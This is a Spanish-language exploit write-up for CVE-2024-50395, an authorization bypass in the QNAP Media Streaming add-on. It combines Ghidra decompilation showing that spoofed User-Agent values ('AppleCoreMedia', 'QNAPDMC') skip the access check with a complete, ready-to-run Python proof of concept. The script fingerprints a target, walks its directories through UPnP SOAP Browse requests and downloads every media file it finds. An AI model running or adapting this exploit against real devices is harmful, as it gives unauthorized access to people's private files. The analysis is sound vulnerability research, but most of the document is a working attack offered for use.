
Exploit en Python para CVE-2024-50395, un bypass de autorización en el complemento QNAP Media Streaming. Utiliza encabezados User-Agent manipulados para omitir la autenticación y navegar/descargar archivos multimedia a través de solicitudes UPnP SOAP.
Se ha reportado una vulnerabilidad de omisión de autorización mediante una clave controlada por el usuario que afecta al complemento Media Streaming. Si se explota, la vulnerabilidad podría permitir a atacantes de la red local obtener privilegios. Ya hemos solucionado la vulnerabilidad en la siguiente versión: complemento Media Streaming 500.1.1.6 (2024/08/02) y posteriores.

La función FUN_001293f0 en Ghidra, que quizás se llame función ParseHttpHeaders en el código fuente original, analiza los datos del encabezado HTTP de las solicitudes del cliente.
Esa función también analiza "User-Agent" y obtiene el valor.
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
pcVar6 = strstr((char *)__s,"Twonky");
if ((pcVar6 == (char *)0x0) &&
(pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
(lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
lVar14 != 0)) {
ppuVar10 = __ctype_b_loc();
do {
puVar9 = puVar9 + 1;
} while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
0x20) != 0);
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
En ese momento, si el valor de "User-Agent" es "AppleCoreMedia", se ejecuta el siguiente código.
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
Y luego va a LAB_00129aba1
LAB_00129ab1:
myDebugUtilWrapperPrint
(uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
,lVar12);
LAB_00129abb:
lVar14 = *(long *)(param_1 + 0x20);
uVar8 = (ulong)*(uint *)(param_1 + 0x30);
}
Luego, se ejecuta el siguiente código
LAB_00129627:
for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
}
__s = __s + 2;
} while (__s < (uchar *)((int)uVar8 + lVar14));
}
if (local_138 < 0) {
local_138 = g_DefaultClientTypeId;
}
}
iVar4 = local_138;
pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
myDebugUtilWrapperPrint
(5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
"finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
local_174 = local_174 | *(uint *)(param_1 + 0x88);
*(int *)(param_1 + 0x38) = local_138;
bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
bVar26 = ppbVar17 == (byte **)0x0;
*(uint *)(param_1 + 0x88) = local_174;
lVar14 = 8;
*(uint *)(param_1 + 0xa4) = local_130;
*(int *)(param_1 + 0xa8) = local_13c;
*(int *)(param_1 + 0xac) = local_134;
pbVar19 = *ppbVar17;
pbVar21 = (byte *)"AppleTV";
/*
omited...
*/
uVar15 = 0;
if ((local_174 & 0x100) == 0) goto LAB_001298c4;
Concéntrese en el código uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;
Si el valor de User-Agent es "AppleCoreMedia", ese código podría ejecutarse.
Por lo tanto, la función FUN_001293f0 devuelve el valor 0.
Esa función se llama en FUN_001411f0, que funciona como una función de enrutamiento; cuando el valor de retorno es 0, FUN_001411f0 no ejecuta ninguna función que envíe el código de error HTTP 401 ("Deny Access").
(La función FUN_001411f0 quizás se llame ProcessHTTPSubscribe en el código fuente original.)
El Tipo de Cliente "QNAPDMC" se inicializa en la función "InsertQNAPClientType". (Esa función se llama en main).
Y en esa función, se inicializa la variable g_QNAPDMCClientTypeId.
Cuando un cliente utiliza el método HTTP POST, la función de procesamiento principal es FUN_0012ee50.
uVar21 = 1;
myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
;
/* DAT_001690a2 is "POST" */
lVar11 = 5;
pbVar13 = &DAT_001690a2;
pbVar14 = local_298;
do {
if (lVar11 == 0) break;
lVar11 = lVar11 + -1;
uVar19 = *pbVar13 < *pbVar14;
uVar21 = *pbVar13 == *pbVar14;
pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
} while ((bool)uVar21);
if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
param_1[0xd] = 2;
FUN_0012ee50(param_1);
goto exit;
}
Si el encabezado de la solicitud tiene "Soapaction", se ejecuta la función ExecuteSoapAction.
(El valor de *(long *)(param_1 + 0x10) se estableció en FUN_001293f0).
if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
param_1[3] = 1;
return (ulong)(param_1[10] - param_1[0xc]);
}
if (*(long *)(param_1 + 0x10) != 0) {
uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
return uVar2;
}
En ExecuteSoapAction, si (*(int *)(param_1 + 0x38) es igual a g_QNAPDMCClientTypeId, podemos omitir la autorización.
if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
if (n_lan_addr < 1) {
LAB_0014a27f:
pcVar6 = "Deny Access";
goto LAB_0014a3dd;
}
if (DAT_00398a90 != *(int *)(param_1 + 4)) {
puVar3 = &lan_addr;
do {
if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
piVar1 = (int *)(puVar3 + 0x2c);
puVar3 = puVar3 + 0x1c;
} while (*piVar1 != *(int *)(param_1 + 4));
}
}
pcVar6 = strchr(param_2,0x23);
La variable (*(int *)(param_1 + 0x38) se inicializa en FUN_001293f0 usando "User-Agent".
Por lo tanto, podemos omitir la autorización utilizando el encabezado de solicitud "User-Agent: AppleCoreMedia, User-Agent: QNAPDMC".
#!/usr/bin/python3
# POC.py
import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse
from xml.dom.minidom import parseString
#from tqdm import tqdm
log = lambda x: print("\033[31m[+]" + "\033[37m"+x)
HOST = 'http://{0}:{1}'
session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}
def makedirs(path):
if not os.path.exists(path):
os.makedirs(path)
#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
obj = parseString(html.unescape(res.text))
NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
log(f"TARGET NAME: {NAME}")
log(f"TARGET MODEL: {MODEL}")
log(f"TARGET QTS VERSION: {VERSION}")
#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
header = auth_post_bypass_header.copy()
header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
pay += """<ObjectID>{1}</ObjectID>"""
pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
pay += """</u:Browse></s:Body></s:Envelope>"""
res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
keys1 = {}
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
log(f"FIND: {dir_name}")
keys1[dir_name] = ee.getAttribute("id")
keys2 = []
for k,v in keys1.items():
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {dir_name}")
keys2.append([v, dir_name, ee.getAttribute("id")])
keys3 = []
for k in keys2:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
keys3.append([v, file_name, ee.getAttribute("id")])
keys4 = []
deps_key = []
for k in keys3:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
element2 = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
for ee in element2:
deps_key.append(ee.getAttribute("id"))
for k in deps_key:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
makedirs('./Downloaded')
for k in keys4:
if "Transcode" in k[-2]:
k[-2] = k[-2].replace("Transcode", "MediaItems")
RETRY = []
for k in keys4:
URL = k[-2]
res = sess.get(url=URL, headers=auth_bypass_header)
if len(res.content) <= 0:
RETRY.append([k[1]+k[-1], k[-2]])
log(f'FAILED: {k[1]+k[-1]}')
continue
with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
f.write(res.content)
log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
for rr in RETRY:
res = sess.head(url=rr[1], headers=auth_bypass_header)
print(rr[1])
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='')
parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')
args = parser.parse_args()
HOST = HOST.format(args.target, args.port)
get_rootDesc(session)
exploit(session)